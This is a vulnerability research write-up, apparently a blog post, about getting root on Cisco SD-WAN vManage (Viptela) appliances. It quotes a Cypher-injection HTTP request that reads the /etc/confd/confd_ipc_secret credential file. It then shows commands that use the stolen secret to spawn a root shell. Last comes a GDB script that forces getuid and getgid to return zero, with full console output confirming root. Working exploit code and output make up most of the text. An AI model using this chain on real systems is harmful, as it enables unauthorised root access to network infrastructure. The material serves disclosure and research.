After digging a little through some documentation related to confd and the different binaries (accessible with an account on the Cisco website), we found that to authenticate the IPC socket, it uses a secret located in /etc/confd/confd_ipc_secret:
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
Remember our Neo4j instance? It is running under the vmanage user's privileges, thus allowing us to retrieve the file using the previous vulnerability:
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net
[...]
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
The confd_cli program does not support command line arguments but calls /usr/bin/confd_cli_user with arguments. So, we could directly call /usr/bin/confd_cli_user with our own set of arguments. However it's not readable with our current privileges, so we have to retrieve it from the rootfs and copy it using scp, read the help, and use it to get the shell:
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret
vManage:~$ /tmp/confd_cli_user -U 0 -G 0
Welcome to Viptela CLI
admin connected from 127.0.0.1 using console on vManage
vManage# vshell
vManage:~# id
uid=0(root) gid=0(root) groups=0(root)
The blog¹ by the synacktiv team described an elegant way to get a root shell, but the caveat is it requires getting a copy of the /usr/bin/confd_cli_user which is only readable by root. I found another way to escalate to root without such hassle.
When I disassembled /usr/bin/confd_cli binary, I observed the following:
I hypothesized the “confd_cli” program passes the user ID and group ID it collected from the logged in user to the “cmdptywrapper” application.
My first attempt was to run the “cmdptywrapper” directly and supplying it with -g 0 -u 0, but it failed. It appears a file descriptor (-i 1015) was created somewhere along the way and I cannot fake it.
As mentioned in synacktiv’s blog(last example), the confd_cli program does not support command line argument, but I can influence it with a debugger and fortunately GDB is included on the system.
I created a GDB script where I forced the API getuid and getgid to return 0. Since I already have “vmanage” privilege through the deserialization RCE, I have permission to read the /etc/confd/confd_ipc_secret directly.
root.gdb:
set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run
Console Output:
vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli
GNU gdb (GDB) 8.0.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-poky-linux".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /usr/bin/confd_cli...(no debugging symbols found)...done.
Breakpoint 1 at 0x400f40
Breakpoint 2 at 0x401000Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401689 in ?? ()Breakpoint 2, getgid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401694 in ?? ()Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401871 in ?? ()
Welcome to Viptela CLI
root connected from 127.0.0.1 using console on vmanage
vmanage# vshell
bash-4.4# whoami ; id
root
uid=0(root) gid=0(root) groups=0(root)
bash-4.4#
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